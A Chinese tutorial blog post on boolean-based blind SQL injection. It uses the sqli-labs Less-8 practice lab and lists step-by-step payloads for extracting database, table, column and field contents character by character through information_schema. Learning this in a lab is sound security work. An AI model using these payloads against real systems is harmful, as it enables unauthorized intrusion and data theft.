布尔盲注

简介: 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

布尔盲注

简介

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

布尔盲注需要用到的函数

Length()    返回字符串的长度

Substr()    截取字符串

Ascii()      返回字符的ascii码

sleep(n)  将程序挂起一段时间 n为n秒

if(expr1,expr2,expr3)  判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

ascii字符代码表

image-20220713150502362.png

靶场利用

可以利用sqli-labs-master中的less-8

布尔盲注原理

通过页面是否报错来判断语句的正确性,利用函数的特性来得到数据

布尔盲注思路总结

substr(a,b,c) 其中a表示字符串,b表示从第几位开始截取(最小值为1),c表示截取几位

limt 0,1 表示从从第一个数据开始,截取第一个数据

查看是否存在注入点-->


判断注入类型-->


查看页面是否存在输出|是否存在报错提示-->


判断数据库名长度-->and length(database())>数字


得到数据库库名-->and ascii(substr(database(),1,1))=数字


判断表的数量-->and (select count(*) from information_schema.tables where table_schema='库名')>数字


依次判断表名的长度-->and (length((select table_name from information_schema.tables where table_schema='库名' limit 0,1)))>数字


依次得到表名-->and (ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)))=数字


判断表中字段个数-->and (select count(*) from information_schema.columns where table_name='表名' and table_schema='库名')>数字


依次判断表中字段名的长度-->and (length((select column_name from information_schema.columns where table_name='表名' and table_schema='库名' limit 0,1)))>数字


依次判断表的字段名 --> and ascii(substr((select column_name from information_schema.columns where table_name='表名' and table——schema='库名' limit 0,1),1,1))=数字


依次判断字段中数据的长度-->and (length((select 字段名 from 表名 limit 0,1)))>数字


依次得到字段中的数据-->and ascii(substr((select 字段名 from 表名 limit 0,1 ),1,1)))=x

目录
相关文章
|
4月前
|
数据库
15、延时布尔盲注(Post)
15、延时布尔盲注(Post)
38 0
|
4月前
|
SQL JSON 数据库
常见的sql注入类型闭合及符号
常见的sql注入类型闭合及符号
120 0
|
4月前
|
关系型数据库 MySQL 数据库
Mysql注入 -- 布尔注入
Mysql注入 -- 布尔注入
39 0
|
4月前
|
SQL 前端开发 Java
SQL注入天书笔记(1)布尔盲注
SQL注入天书笔记(1)布尔盲注
67 0
|
XML SQL 安全
[NPUCTF2020]ezlogin (xpath盲注)
[NPUCTF2020]ezlogin (xpath盲注)
129 0
|
JavaScript
布尔类型的转换规则?
1.使用 Boolean() 函数
测试字符类型和布尔类型
测试字符类型和布尔类型
58 0
|
Java C++
什么是布尔类型?
什么是布尔类型?
140 0
3、类型转换(强制转换、自动转换、与或非)
3、类型转换(强制转换、自动转换、与或非)
125 0
3、类型转换(强制转换、自动转换、与或非)